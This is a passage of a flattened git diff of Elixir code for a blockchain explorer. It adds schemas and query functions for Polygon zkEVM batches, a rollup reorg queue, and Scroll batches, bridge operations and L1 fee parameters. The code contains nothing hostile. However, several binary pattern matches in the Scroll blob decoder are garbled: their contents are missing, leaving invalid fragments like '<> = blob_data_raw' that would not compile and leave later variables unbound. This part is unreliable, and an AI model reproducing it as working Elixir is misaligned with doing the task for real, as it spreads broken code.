page_deposits_or_withdrawals(query, %PagingOptions{key: nil}), do: query + + defp page_deposits_or_withdrawals(query, %PagingOptions{key: {index}}) do + from(b in query, where: b.index < ^index) + end + + @doc """ + Gets information about the latest finalized batch and calculates average time between finalized batches, in seconds. + + ## Parameters + - `options`: A keyword list of options that may include whether to use a replica database. + + ## Returns + - If at least two batches exist: + `{:ok, %{latest_batch_number: integer, latest_batch_timestamp: DateTime.t(), average_batch_time: integer}}` + where: + * latest_batch_number - id of the latest batch in the database. + * latest_batch_timestamp - when the latest batch was committed to L1. + * average_batch_time - average number of seconds between batches for the last 100 batches. + + - If less than two batches exist: `{:error, :not_found}`. + """ + @spec get_latest_batch_info(keyword()) :: {:ok, map()} | {:error, :not_found} + def get_latest_batch_info(options \\ []) do + query = + from(tb in TransactionBatch, + where: not is_nil(tb.timestamp), + order_by: [desc: tb.number], + limit: 100, + select: %{ + number: tb.number, + timestamp: tb.timestamp + } + ) + + items = select_repo(options).all(query) + + Instrumenter.prepare_batch_metric(items) + end +end diff --git a/apps/explorer/lib/explorer/chain/polygon_zkevm/transaction_batch.ex b/apps/explorer/lib/explorer/chain/polygon_zkevm/transaction_batch.ex new file mode 100644 index 000000000000..92ca1dd21527 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/polygon_zkevm/transaction_batch.ex @@ -0,0 +1,47 @@ +defmodule Explorer.Chain.PolygonZkevm.TransactionBatch do + @moduledoc "Models a batch of transactions for zkEVM." + + use Explorer.Schema + + alias Explorer.Chain.Hash + alias Explorer.Chain.PolygonZkevm.{BatchTransaction, LifecycleTransaction} + + @optional_attrs ~w(timestamp sequence_id verify_id)a + + @required_attrs ~w(number l2_transactions_count global_exit_root acc_input_hash state_root)a + + @primary_key false + typed_schema "polygon_zkevm_transaction_batches" do + field(:number, :integer, primary_key: true, null: false) + field(:timestamp, :utc_datetime_usec) + field(:l2_transactions_count, :integer) + field(:global_exit_root, Hash.Full) + field(:acc_input_hash, Hash.Full) + field(:state_root, Hash.Full) + + belongs_to(:sequence_transaction, LifecycleTransaction, + foreign_key: :sequence_id, + references: :id, + type: :integer + ) + + belongs_to(:verify_transaction, LifecycleTransaction, foreign_key: :verify_id, references: :id, type: :integer) + + has_many(:l2_transactions, BatchTransaction, foreign_key: :batch_number, references: :number) + + timestamps() + end + + @doc """ + Validates that the `attrs` are valid. + """ + @spec changeset(Ecto.Schema.t(), map()) :: Ecto.Schema.t() + def changeset(%__MODULE__{} = batches, attrs \\ %{}) do + batches + |> cast(attrs, @required_attrs ++ @optional_attrs) + |> validate_required(@required_attrs) + |> foreign_key_constraint(:sequence_id) + |> foreign_key_constraint(:verify_id) + |> unique_constraint(:number) + end +end diff --git a/apps/explorer/lib/explorer/chain/rollup_reorg_monitor_queue.ex b/apps/explorer/lib/explorer/chain/rollup_reorg_monitor_queue.ex new file mode 100644 index 000000000000..7a7365984eda --- /dev/null +++ b/apps/explorer/lib/explorer/chain/rollup_reorg_monitor_queue.ex @@ -0,0 +1,91 @@ +defmodule Explorer.Chain.RollupReorgMonitorQueue do + @moduledoc """ + A module containing (encapsulating) the reorg monitor queue and functions to manage it. + Mostly used by the `Indexer.Fetcher.RollupL1ReorgMonitor` module. + """ + + alias Explorer.BoundQueue + + @doc """ + Pops the number of reorg block from the front of the queue for the specified rollup module. + + ## Parameters + - `module`: The module for which the block number is popped from the queue. + + ## Returns + - The popped block number. + - `nil` if the reorg queue is empty. + """ + @spec reorg_block_pop(module()) :: non_neg_integer() | nil + def reorg_block_pop(module) do + table_name = reorg_table_name(module) + + case BoundQueue.pop_front(reorg_queue_get(table_name)) do + {:ok, {block_number, updated_queue}} -> + :ets.insert(table_name, {:queue, updated_queue}) + block_number + + {:error, :empty} -> + nil + end + end + + @doc """ + Pushes the number of reorg block to the back of the queue for the specified rollup module. + + ## Parameters + - `block_number`: The reorg block number. + - `module`: The module for which the block number is pushed to the queue. + + ## Returns + - Nothing is returned. + """ + @spec reorg_block_push(non_neg_integer(), module()) :: any() + def reorg_block_push(block_number, module) do + table_name = reorg_table_name(module) + {:ok, updated_queue} = BoundQueue.push_back(reorg_queue_get(table_name), block_number) + :ets.insert(table_name, {:queue, updated_queue}) + end + + # Reads a block number queue instance from the ETS table associated with the queue. + # The table name depends on the module name and formed by the `reorg_table_name` function. + # + # ## Parameters + # - `table_name`: The ETS table name of the queue. + # + # ## Returns + # - `BoundQueue` instance for the queue. The queue may be empty (then %BoundQueue{} is returned). + @spec reorg_queue_get(atom()) :: BoundQueue.t(any()) + defp reorg_queue_get(table_name) do + if :ets.whereis(table_name) == :undefined do + :ets.new(table_name, [ + :set, + :named_table, + :public, + read_concurrency: true, + write_concurrency: true + ]) + end + + with info when info != :undefined <- :ets.info(table_name), + [{_, value}] <- :ets.lookup(table_name, :queue) do + value + else + _ -> %BoundQueue{} + end + end + + # Forms an ETS table name for the block number queue for the given module name. + # + # ## Parameters + # - `module`: The module name (instance) for which the ETS table name should be formed. + # + # ## Returns + # - An atom defining the table name. + # + # sobelow_skip ["DOS.BinToAtom"] + @spec reorg_table_name(module()) :: atom() + defp reorg_table_name(module) do + :"#{module}#{:_reorgs}" + end +end diff --git a/apps/explorer/lib/explorer/chain/scroll/batch.ex b/apps/explorer/lib/explorer/chain/scroll/batch.ex new file mode 100644 index 000000000000..3bd9f1097692 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/scroll/batch.ex @@ -0,0 +1,151 @@ +defmodule Explorer.Chain.Scroll.Batch do + @moduledoc """ + Models a batch for Scroll. + + Changes in the schema should be reflected in the bulk import module: + - Explorer.Chain.Import.Runner.Scroll.Batches + + Migrations: + - Explorer.Repo.Scroll.Migrations.AddBatchesTables + """ + + use Explorer.Schema + + require Logger + + alias Explorer.Chain.Block.Range, as: BlockRange + alias Explorer.Chain.Hash + alias Explorer.Chain.Scroll.BatchBundle + + @optional_attrs ~w(bundle_id l2_block_range)a + + @required_attrs ~w(number commit_transaction_hash commit_block_number commit_timestamp container)a + @zstd_magic_number <<0x28, 0xB5, 0x2F, 0xFD>> + @codec_min_version 7 + + @typedoc """ + Descriptor of the batch: + * `number` - A unique batch number. + * `commit_transaction_hash` - A hash of the commit transaction on L1. + * `commit_block_number` - A block number of the commit transaction on L1. + * `commit_timestamp` - A timestamp of the commit block. + * `l2_block_range` - A range of L2 blocks included into the batch. + * `container` - A container where the batch info is mostly located (can be :in_calldata, :in_blob4844). + """ + @type to_import :: %{ + number: non_neg_integer(), + commit_transaction_hash: binary(), + commit_block_number: non_neg_integer(), + commit_timestamp: DateTime.t(), + l2_block_range: BlockRange.t() | nil, + container: :in_calldata | :in_blob4844 + } + + @typedoc """ + * `number` - A unique batch number. + * `commit_transaction_hash` - A hash of the commit transaction on L1. + * `commit_block_number` - A block number of the commit transaction on L1. + * `commit_timestamp` - A timestamp of the commit block. + * `bundle_id` - An identifier of the batch bundle from the `scroll_batch_bundles` database table. + * `l2_block_range` - A range of L2 blocks included into the batch. Can be `nil` if cannot be determined. + * `container` - A container where the batch info is mostly located (can be :in_calldata, :in_blob4844). + """ + @primary_key false + typed_schema "scroll_batches" do + field(:number, :integer, primary_key: true) + field(:commit_transaction_hash, Hash.Full) + field(:commit_block_number, :integer) + field(:commit_timestamp, :utc_datetime_usec) + + belongs_to(:bundle, BatchBundle, + foreign_key: :bundle_id, + references: :id, + type: :integer, + null: true + ) + + field(:l2_block_range, BlockRange, null: true) + field(:container, Ecto.Enum, values: [:in_blob4844, :in_calldata]) + + timestamps() + end + + @doc """ + Checks that the `attrs` are valid. + """ + @spec changeset(Ecto.Schema.t(), map()) :: Ecto.Schema.t() + def changeset(%__MODULE__{} = batches, attrs \\ %{}) do + batches + |> cast(attrs, @required_attrs ++ @optional_attrs) + |> validate_required(@required_attrs) + |> unique_constraint(:number) + |> foreign_key_constraint(:bundle_id) + end + + @doc """ + Decodes EIP-4844 blob to the raw data. Returns `nil` if the blob is invalid. + + ## Parameters + - `blob`: The canonical bytes of the blob. Its size must be 128 Kb. + + ## Returns + - The raw data decoded from the blob. + - `nil` if the blob is invalid (cannot be decoded). + """ + @spec decode_eip4844_blob(binary()) :: binary() | nil + def decode_eip4844_blob(blob) when byte_size(blob) == 131_072 do + blob_data_raw = + blob + |> chunk_eip4844_blob([]) + |> Enum.map(fn <<_first_byte, rest::binary-size(31)>> -> rest end) + |> :erlang.iolist_to_binary() + + <> = blob_data_raw + + # ensure we have correct version, blob envelope size doesn't exceed the raw data size, and compression flag is correct + with {:version_is_supported, true} <- {:version_is_supported, version >= @codec_min_version}, + {:size_is_correct, true} <- {:size_is_correct, blob_payload_size + 5 <= byte_size(blob_data_raw)}, + {:compression_flag_is_correct, true} <- + {:compression_flag_is_correct, is_compressed in [0, 1]}, + <> = rest, + {:is_compressed, 1, _payload} <- {:is_compressed, is_compressed, payload}, + decompressed when is_binary(decompressed) <- :ezstd.decompress(@zstd_magic_number <> payload) do + decompressed + else + {:version_is_supported, false} -> + Logger.error("Codec version #{version} is not supported. Expected: >=#{@codec_min_version}") + nil + + {:size_is_correct, false} -> + Logger.error("Blob envelope size #{blob_payload_size} exceeds the raw data size (#{blob_data_raw}).") + nil + + {:compression_flag_is_correct, false} -> + Logger.error("Invalid compressed flag: #{is_compressed}") + nil + + {:is_compressed, 0, payload} -> + payload + + {:error, reason} -> + Logger.error("Failed to decompress blob payload: #{inspect(reason)}") + nil + end + end + + def decode_eip4844_blob(_), do: nil + + # Divides the blob data by 32-byte chunks and returns them as a list. + # + # ## Parameters + # - `_blob`: The blob bytes. The blob size must be divisible by 32. + # + # ## Returns + # - A list of 32-byte chunks. + @spec chunk_eip4844_blob(binary(), list()) :: list() + defp chunk_eip4844_blob(<> = blob, acc) when rem(byte_size(blob), 32) == 0 do + chunk_eip4844_blob(rest, [chunk | acc]) + end + + defp chunk_eip4844_blob(<<>>, acc), do: Enum.reverse(acc) +end diff --git a/apps/explorer/lib/explorer/chain/scroll/batch_bundle.ex b/apps/explorer/lib/explorer/chain/scroll/batch_bundle.ex new file mode 100644 index 000000000000..5a36bf72e359 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/scroll/batch_bundle.ex @@ -0,0 +1,58 @@ +defmodule Explorer.Chain.Scroll.BatchBundle do + @moduledoc """ + Models a batch bundle for Scroll. + + Changes in the schema should be reflected in the bulk import module: + - Explorer.Chain.Import.Runner.Scroll.BatchBundles + + Migrations: + - Explorer.Repo.Scroll.Migrations.AddBatchesTables + """ + + use Explorer.Schema + + alias Explorer.Chain.Hash + + @required_attrs ~w(final_batch_number finalize_transaction_hash finalize_block_number finalize_timestamp)a + + @typedoc """ + Descriptor of the batch bundle: + * `final_batch_number` - The last batch number finalized in this bundle. + * `finalize_transaction_hash` - A hash of the finalize transaction on L1. + * `finalize_block_number` - A block number of the finalize transaction on L1. + * `finalize_timestamp` - A timestamp of the finalize block. + """ + @type to_import :: %{ + final_batch_number: non_neg_integer(), + finalize_transaction_hash: binary(), + finalize_block_number: non_neg_integer(), + finalize_timestamp: DateTime.t() + } + + @typedoc """ + * `id` - An internal ID of the bundle. + * `final_batch_number` - The last batch number finalized in this bundle. + * `finalize_transaction_hash` - A hash of the finalize transaction on L1. + * `finalize_block_number` - A block number of the finalize transaction on L1. + * `finalize_timestamp` - A timestamp of the finalize block. + """ + @primary_key {:id, :id, autogenerate: true} + typed_schema "scroll_batch_bundles" do + field(:final_batch_number, :integer) + field(:finalize_transaction_hash, Hash.Full) + field(:finalize_block_number, :integer) + field(:finalize_timestamp, :utc_datetime_usec) + timestamps() + end + + @doc """ + Checks that the `attrs` are valid. + """ + @spec changeset(Ecto.Schema.t(), map()) :: Ecto.Schema.t() + def changeset(%__MODULE__{} = bundles, attrs \\ %{}) do + bundles + |> cast(attrs, @required_attrs) + |> validate_required(@required_attrs) + |> unique_constraint(:id) + end +end diff --git a/apps/explorer/lib/explorer/chain/scroll/bridge.ex b/apps/explorer/lib/explorer/chain/scroll/bridge.ex new file mode 100644 index 000000000000..6cfd280e0b7f --- /dev/null +++ b/apps/explorer/lib/explorer/chain/scroll/bridge.ex @@ -0,0 +1,78 @@ +defmodule Explorer.Chain.Scroll.Bridge do + @moduledoc """ + Models a bridge operation for Scroll. + + Changes in the schema should be reflected in the bulk import module: + - Explorer.Chain.Import.Runner.Scroll.BridgeOperations + + Migrations: + - Explorer.Repo.Scroll.Migrations.AddBridgeTable + """ + + use Explorer.Schema + + alias Explorer.Chain.Hash + + @optional_attrs ~w(index l1_transaction_hash l2_transaction_hash amount block_number block_timestamp)a + + @required_attrs ~w(type message_hash)a + + @typedoc """ + Descriptor of the Scroll bridge message: + * `type` - Type of the bridge operation (:deposit or :withdrawal). + * `index` - Index of the deposit or index of the withdrawal (can be nil). + * `l1_transaction_hash` - L1 transaction hash of the bridge operation (can be nil). + * `l2_transaction_hash` - L2 transaction hash of the bridge operation (can be nil). + * `amount` - Amount of the operation in native token (can be nil). + * `block_number` - Block number of deposit operation for `l1_transaction_hash` + or withdrawal operation for `l2_transaction_hash` (can be nil). + * `block_timestamp` - Timestamp of the block `block_number` (can be nil). + * `message_hash` - Unique hash of the operation (message). + """ + @type to_import :: %{ + type: :deposit | :withdrawal, + index: non_neg_integer() | nil, + l1_transaction_hash: binary() | nil, + l2_transaction_hash: binary() | nil, + amount: non_neg_integer() | nil, + block_number: non_neg_integer() | nil, + block_timestamp: DateTime.t() | nil, + message_hash: binary() + } + + @typedoc """ + * `type` - Type of the bridge operation (:deposit or :withdrawal). + * `index` - Index of the deposit or index of the withdrawal (can be nil). + * `l1_transaction_hash` - L1 transaction hash of the bridge operation (can be nil). + * `l2_transaction_hash` - L2 transaction hash of the bridge operation (can be nil). + * `amount` - Amount of the operation in native token (can be nil). + * `block_number` - Block number of deposit operation for `l1_transaction_hash` + or withdrawal operation for `l2_transaction_hash` (can be nil). + * `block_timestamp` - Timestamp of the block `block_number` (can be nil). + * `message_hash` - Unique hash of the operation (message). + """ + @primary_key false + typed_schema "scroll_bridge" do + field(:type, Ecto.Enum, values: [:deposit, :withdrawal], primary_key: true) + field(:index, :integer) + field(:l1_transaction_hash, Hash.Full) + field(:l2_transaction_hash, Hash.Full) + field(:amount, :decimal) + field(:block_number, :integer) + field(:block_timestamp, :utc_datetime_usec) + field(:message_hash, Hash.Full, primary_key: true) + + timestamps() + end + + @doc """ + Checks that the `attrs` are valid. + """ + @spec changeset(Ecto.Schema.t(), map()) :: Ecto.Schema.t() + def changeset(%__MODULE__{} = operations, attrs \\ %{}) do + operations + |> cast(attrs, @required_attrs ++ @optional_attrs) + |> validate_required(@required_attrs) + |> unique_constraint([:type, :message_hash]) + end +end diff --git a/apps/explorer/lib/explorer/chain/scroll/l1_fee_param.ex b/apps/explorer/lib/explorer/chain/scroll/l1_fee_param.ex new file mode 100644 index 000000000000..a9f55ae28750 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/scroll/l1_fee_param.ex @@ -0,0 +1,134 @@ +defmodule Explorer.Chain.Scroll.L1FeeParam do + @moduledoc """ + Models an L1 fee parameter for Scroll. + + Changes in the schema should be reflected in the bulk import module: + - Explorer.Chain.Import.Runner.Scroll.L1FeeParams + + Migrations: + - Explorer.Repo.Scroll.Migrations.AddFeeFields + """ + + use Explorer.Schema + + alias Explorer.Chain.Cache.Counters.LastFetchedCounter + alias Explorer.Chain.Transaction + + @counter_type "scroll_l1_fee_params_fetcher_last_block_number" + @required_attrs ~w(block_number transaction_index name value)a + + @typedoc """ + Descriptor of the L1 Fee Parameter change: + * `block_number` - A block number of the transaction where the given parameter value was changed. + * `transaction_index` - An index of the transaction (within the block) where the given parameter value was changed. + * `name` - A name of the parameter (can be one of: `overhead`, `scalar`, `commit_scalar`, `blob_scalar`, `l1_base_fee`, `l1_blob_base_fee`). + * `value` - A new value of the parameter. + """ + @type to_import :: %{ + block_number: non_neg_integer(), + transaction_index: non_neg_integer(), + name: :overhead | :scalar | :commit_scalar | :blob_scalar | :l1_base_fee | :l1_blob_base_fee, + value: non_neg_integer() + } + + @typedoc """ + * `block_number` - A block number of the transaction where the given parameter was changed. + * `transaction_index` - An index of the transaction (within the block) where the given parameter was changed. + * `name` - A name of the parameter (can be one of: `overhead`, `scalar`, `commit_scalar`, `blob_scalar`, `l1_base_fee`, `l1_blob_base_fee`). + * `value` - A new value of the parameter. + """ + @primary_key false + typed_schema "scroll_l1_fee_params" do + field(:block_number, :integer, primary_key: true) + field(:transaction_index, :integer, primary_key: true) + + field(:name, Ecto.Enum, + values: [:overhead, :scalar, :commit_scalar, :blob_scalar, :l1_base_fee, :l1_blob_base_fee], + primary_key: true + ) + + field(:value, :integer) + + timestamps() + end + + @doc """ + Validates that the `attrs` are valid. + """ + @spec changeset(Ecto.Schema.t(), map()) :: Ecto.Schema.t() + def changeset(%__MODULE__{} = params, attrs \\ %{}) do + params + |> cast(attrs, @required_attrs) + |> validate_required(@required_attrs) + |> unique_constraint([:block_number, :transaction_index]) + end + + @doc """ + Calculates gas used on L1 for the specified L2 transaction. + The returning value depends on the transaction block number: + if that's after Curie upgrade, the function returns 0 as all transactions are put into blob. + Otherwise, the value is calculated based on transaction data (and includes the given overhead). + See https://github.com/scroll-tech/go-ethereum/blob/9ec83a509ac7f6dd2d0beb054eb14c19f3e67a72/rollup/fees/rollup_fee.go#L171-L195 + for the implementation and https://scroll.io/blog/compressing-the-gas-scrolls-curie-upgrade for the Curie upgrade description. + + ## Parameters + - `transaction`: Transaction structure containing block number and transaction data. + - `l1_fee_overhead`: The overhead to add to the gas used in case the transaction was created before Curie upgrade. + + ## Returns + - Calculated L1 gas used value (can be 0). + """ + @spec l1_gas_used(Transaction.t(), non_neg_integer()) :: non_neg_integer() + def l1_gas_used(transaction, l1_fee_overhead) do + if transaction.block_number > Application.get_all_env(:explorer)[__MODULE__][:curie_upgrade_block] do + 0 + else + total = + transaction.input.bytes + |> :binary.bin_to_list() + |> Enum.reduce(0, fn byte, acc -> + # credo:disable-for-next-line Credo.Check.Refactor.Nesting + if byte == 0 do + acc + 4 + else + acc + 16 + end + end) + + total + l1_fee_overhead + 4 * 16 + end + end + + @doc """ + Reads the block number from the `last_fetched_counters` table which was + the last handled L2 block on the previous launch of Indexer.Fetcher.Scroll.L1FeeParam module. + + ## Returns + - The last L2 block number. + - Zero if this is the first launch of the module. + """ + @spec last_l2_block_number() :: non_neg_integer() + def last_l2_block_number do + @counter_type + |> LastFetchedCounter.get() + |> Decimal.to_integer() + end + + @doc """ + Updates the last handled L2 block by the Indexer.Fetcher.Scroll.L1FeeParam module. + The new block number is written to the `last_fetched_counters` table. + + ## Parameters + - `block_number`: The number of the L2 block. + + ## Returns + - nothing + """ + @spec set_last_l2_block_number(non_neg_integer()) :: any() + def set_last_l2_block_number(block_number) do + LastFetchedCounter.upsert(%{ + counter_type: @counter_type, + value: block_number + }) + end +end diff --git a/apps/explorer/lib/explorer/chain/scroll/reader.ex b/apps/explorer/lib/explorer/chain/scroll/reader.ex new file mode 100644 index 000000000000..a53487debdd1 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/scroll/reader.ex @@ -0,0 +1,461 @@ +defmodule Explorer.Chain.Scroll.Reader do + @moduledoc "Contains read functions for Scroll modules." + + import Ecto.Query, + only: [ + from: 2, + limit: 2, + order_by: 2, + order_by: 3, + select: 3, + where: 2, + where: 3 + ] + + import Explorer.Chain, only: [select_repo: 1] + + alias Explorer.Chain.Scroll.{Batch, BatchBundle, Bridge, L1FeeParam} + alias Explorer.{Chain, PagingOptions, Repo} + alias Explorer.Chain.{Block, Transaction} + alias Explorer.Prometheus.Instrumenter + + @doc """ + Reads a batch by its number from database. + + ## Parameters + - `number`: The batch number. If `:latest`, the function gets + the latest batch from the `scroll_batches` table. + - `options`: A keyword list of options that may include whether to use a replica database. + + ## Returns + - {:ok, batch} when the batch is found in the table. + - {:error, :not_found} when the batch is not found. + """ + @spec batch(non_neg_integer() | :latest, + necessity_by_association: %{atom() => :optional | :required}, + api?: boolean() + ) :: {:ok, Batch.t()} | {:error, :not_found} + @spec batch(non_neg_integer() | :latest) :: {:ok, Batch.t()} | {:error, :not_found} + def batch(number, options \\ []) + + def batch(:latest, options) when is_list(options) do + necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) + + Batch + |> order_by(desc: :number) + |> limit(1) + |> Chain.join_associations(necessity_by_association) + |> select_repo(options).one() + |> case do + nil -> {:error, :not_found} + batch -> {:ok, batch} + end + end + + def batch(number, options) when is_list(options) do + necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) + + Batch + |> where(number: ^number) + |> Chain.join_associations(necessity_by_association) + |> select_repo(options).one() + |> case do + nil -> {:error, :not_found} + batch -> {:ok, batch} + end + end + + @doc """ + Lists `t:Explorer.Chain.Scroll.Batch.t/0`'s' in descending order based on the `number`. + + ## Parameters + - `options`: A keyword list of options that may include whether to use a replica database and paging options. + + ## Returns + - A list of found entities sorted by `number` in descending order. + """ + @spec batches(paging_options: PagingOptions.t(), api?: boolean()) :: [Batch.t()] + @spec batches() :: [Batch.t()] + def batches(options \\ []) do + paging_options = Keyword.get(options, :paging_options, Chain.default_paging_options()) + + case paging_options do + %PagingOptions{key: {0}} -> + [] + + _ -> + base_query = + from(b in Batch, + order_by: [desc: b.number] + ) + + base_query + |> Chain.join_association(:bundle, :optional) + |> page_batches(paging_options) + |> limit(^paging_options.page_size) + |> select_repo(options).all() + end + end + + @doc """ + Retrieves a list of rollup blocks included into a specified batch. + + This function constructs and executes a database query to retrieve a list of rollup blocks, + considering pagination options specified in the `options` parameter. These options dictate + the number of items to retrieve and how many items to skip from the top. + + ## Parameters + - `batch_number`: The batch number. + - `options`: A keyword list of options specifying pagination, association necessity, and + whether to use a replica database. + + ## Returns + - A list of `Explorer.Chain.Block` entries belonging to the specified batch. + """ + @spec batch_blocks(non_neg_integer() | binary(), + necessity_by_association: %{atom() => :optional | :required}, + api?: boolean(), + paging_options: PagingOptions.t() + ) :: [Block.t()] + def batch_blocks(batch_number, options) do + necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) + paging_options = Keyword.get(options, :paging_options, Chain.default_paging_options()) + api = Keyword.get(options, :api?, false) + + case batch(batch_number, api?: api) do + {:ok, batch} -> + query = + from( + b in Block, + where: + b.number >= ^batch.l2_block_range.from and b.number <= ^batch.l2_block_range.to and b.consensus == true + ) + + query + |> page_batch_blocks(paging_options) + |> limit(^paging_options.page_size) + |> order_by(desc: :number) + |> Chain.join_associations(necessity_by_association) + |> select_repo(options).all() + + _ -> + [] + end + end + + @doc """ + Gets batch number and its bundle id (if defined) by the L2 block number. + + ## Parameters + - `block_number`: The L2 block number for which the batch should be determined. + - `options`: A keyword list of options that may include whether to use a replica database. + + ## Returns + - A tuple `{batch_number, bundle_id}`. + - `nil` if the batch is not found. + """ + @spec batch_by_l2_block_number(non_neg_integer()) :: {non_neg_integer(), non_neg_integer() | nil} | nil + def batch_by_l2_block_number(block_number, options \\ []) do + select_repo(options).one( + from( + b in Batch, + where: fragment("int8range(?, ?) <@ l2_block_range", ^block_number, ^(block_number + 1)), + select: {b.number, b.bundle_id} + ) + ) + end + + @doc """ + Gets last known L1 batch item from the `scroll_batches` table. + + ## Returns + - A tuple `{block_number, transaction_hash}` - the block number and L1 transaction hash bound to the batch. + - If the batch is not found, returns `{0, nil}`. + """ + @spec last_l1_batch_item() :: {non_neg_integer(), binary() | nil} + def last_l1_batch_item do + query = + from(b in Batch, + select: {b.commit_block_number, b.commit_transaction_hash}, + order_by: [desc: b.number], + limit: 1 + ) + + query + |> Repo.one() + |> Kernel.||({0, nil}) + end + + @doc """ + Gets `final_batch_number` from the last known L1 bundle. + + ## Returns + - The `final_batch_number` of the last L1 bundle. + - If there are no bundles, returns -1. + """ + @spec last_final_batch_number() :: integer() + def last_final_batch_number do + query = + from(bb in BatchBundle, + select: bb.final_batch_number, + order_by: [desc: bb.id], + limit: 1 + ) + + query + |> Repo.one() + |> Kernel.||(-1) + end + + @doc """ + Gets the last known L1 bridge item (deposit) from the `scroll_bridge` table. + + ## Returns + - A tuple `{block_number, transaction_hash}` - the block number and L1 transaction hash bound to the deposit. + - If the deposit is not found, returns `{0, nil}`. + """ + @spec last_l1_bridge_item() :: {non_neg_integer(), binary() | nil} + def last_l1_bridge_item do + query = + from(b in Bridge, + select: {b.block_number, b.l1_transaction_hash}, + where: b.type == :deposit and not is_nil(b.block_number), + order_by: [desc: b.index], + limit: 1 + ) + + query + |> Repo.one() + |> Kernel.||({0, nil}) + end + + @doc """ + Gets the last known L2 bridge item (withdrawal) from the `scroll_bridge` table. + + ## Returns + - A tuple `{block_number, transaction_hash}` - the block number and L2 transaction hash bound to the withdrawal. + - If the withdrawal is not found, returns `{0, nil}`. + """ + @spec last_l2_bridge_item() :: {non_neg_integer(), binary() | nil} + def last_l2_bridge_item do + query = + from(b in Bridge, + select: {b.block_number, b.l2_transaction_hash}, + where: b.type == :withdrawal and not is_nil(b.block_number), + order_by: [desc: b.index], + limit: 1 + ) + + query + |> Repo.one() + |> Kernel.||({0, nil}) + end + + @doc """ + Gets a value of the specified L1 Fee parameter for the given transaction from database. + If a parameter is not defined for the transaction block number and index, the function returns `nil`. + + ## Parameters + - `name`: A name of the parameter. + - `transaction`: Transaction structure containing block number and transaction index within the block. + - `options`: A keyword list of options that may include whether to use a replica database. + + ## Returns + - The parameter value, or `nil` if not defined. + """ + @spec get_l1_fee_param_for_transaction( + :overhead | :scalar | :commit_scalar | :blob_scalar | :l1_base_fee | :l1_blob_base_fee, + Transaction.t(), + api?: boolean() + ) :: non_neg_integer() | nil + @spec get_l1_fee_param_for_transaction( + :overhead | :scalar | :commit_scalar | :blob_scalar | :l1_base_fee | :l1_blob_base_fee, + Transaction.t() + ) :: non_neg_integer() | nil + def get_l1_fee_param_for_transaction(name, transaction, options \\ []) + + def get_l1_fee_param_for_transaction(_name, %{block_number: 0, index: 0}, _options), do: nil + + # credo:disable-for-next-line /Complexity/ + def get_l1_fee_param_for_transaction(name, transaction, options) + when name in [:overhead, :scalar, :commit_scalar, :blob_scalar, :l1_base_fee, :l1_blob_base_fee] do + base_query = + L1FeeParam + |> select([p], p.value) + |> order_by([p], desc: p.block_number, desc: p.transaction_index) + |> limit(1) + + query = + cond do + transaction.block_number == 0 -> + # transaction.index is greater than 0 here + where(base_query, [p], p.name == ^name and p.block_number == 0 and p.transaction_index < ^transaction.index) + + transaction.index == 0 -> + # transaction.block_number is greater than 0 here + where(base_query, [p], p.name == ^name and p.block_number < ^transaction.block_number) + + true -> + where( + base_query, + [p], + p.name == ^name and + (p.block_number < ^transaction.block_number or + (p.block_number == ^transaction.block_number and p.transaction_index < ^transaction.index)) + ) + end + + select_repo(options).one(query) + end + + @doc """ + Retrieves a list of Scroll deposits (both completed and unclaimed) + sorted in descending order of the index. + + ## Parameters + - `options`: A keyword list of options that may include whether to use a replica database and paging options. + + ## Returns + - A list of deposits. + """ + @spec deposits(paging_options: PagingOptions.t(), api?: boolean()) :: [Bridge.t()] + @spec deposits() :: [Bridge.t()] + def deposits(options \\ []) do + paging_options = Keyword.get(options, :paging_options, Chain.default_paging_options()) + + case paging_options do + %PagingOptions{key: {0}} -> + [] + + _ -> + base_query = + from( + b in Bridge, + where: b.type == :deposit and not is_nil(b.l1_transaction_hash), + order_by: [desc: b.index] + ) + + base_query + |> page_deposits_or_withdrawals(paging_options) + |> limit(^paging_options.page_size) + |> select_repo(options).all() + end + end + + @doc """ + Returns a total number of Scroll deposits (both completed and unclaimed). + """ + @spec deposits_count(api?: boolean()) :: non_neg_integer() | nil + @spec deposits_count() :: non_neg_integer() | nil + def deposits_count(options \\ []) do + query = + from( + b in Bridge, + where: b.type == :deposit and not is_nil(b.l1_transaction_hash) + ) + + select_repo(options).aggregate(query, :count, timeout: :infinity) + end + + @doc """ + Retrieves a list of Scroll withdrawals (both completed and unclaimed) + sorted in descending order of the index. + + ## Parameters + - `options`: A keyword list of options that may include whether to use a replica database. + + ## Returns + - A list of withdrawals. + """ + @spec withdrawals(paging_options: PagingOptions.t(), api?: boolean()) :: [Bridge.t()] + @spec withdrawals() :: [Bridge.t()] + def withdrawals(options \\ []) do + paging_options = Keyword.get(options, :paging_options, Chain.default_paging_options()) + + case paging_options do + %PagingOptions{key: {0}} -> + [] + + _ -> + base_query = + from( + b in Bridge, + where: b.type == :withdrawal and not is_nil(b.l2_transaction_hash), + order_by: [desc: b.index] + ) + + base_query + |> page_deposits_or_withdrawals(paging_options) + |> limit(^paging_options.page_size) + |> select_repo(options).all() + end + end + + @doc """ + Returns a total number of Scroll withdrawals (both completed and unclaimed). + """ + @spec withdrawals_count(api?: boolean()) :: non_neg_integer() | nil + @spec withdrawals_count() :: non_neg_integer() | nil + def withdrawals_count(options \\ []) do + query = + from( + b in Bridge, + where: b.type == :withdrawal and not is_nil(b.l2_transaction_hash) + ) + + select_repo(options).aggregate(query, :count, timeout: :infinity) + end + + defp page_batches(query, %PagingOptions{key: nil}), do: query + + defp page_batches(query, %PagingOptions{key: {number}}) do + from(b in query, where: b.number < ^number) + end + + defp page_batch_blocks(query, %PagingOptions{key: nil}), do: query + + defp page_batch_blocks(query, %PagingOptions{key: {0}}), do: query + + defp page_batch_blocks(query, %PagingOptions{key: {block_number}}) do + from(b in query, where: b.number < ^block_number) + end + + defp page_deposits_or_withdrawals(query, %PagingOptions{key: nil}), do: query + + defp page_deposits_or_withdrawals(query, %PagingOptions{key: {index}}) do + from(b in query, where: b.index < ^index) + end + + @doc """ + Gets information about the latest committed batch and calculates average time between committed batches, in seconds. + + ## Parameters + - `options`: A keyword list of options that may include whether to use a replica database. + + ## Returns + - If at least two batches exist: + `{:ok, %{latest_batch_number: integer, latest_batch_timestamp: DateTime.t(), average_batch_time: integer}}` 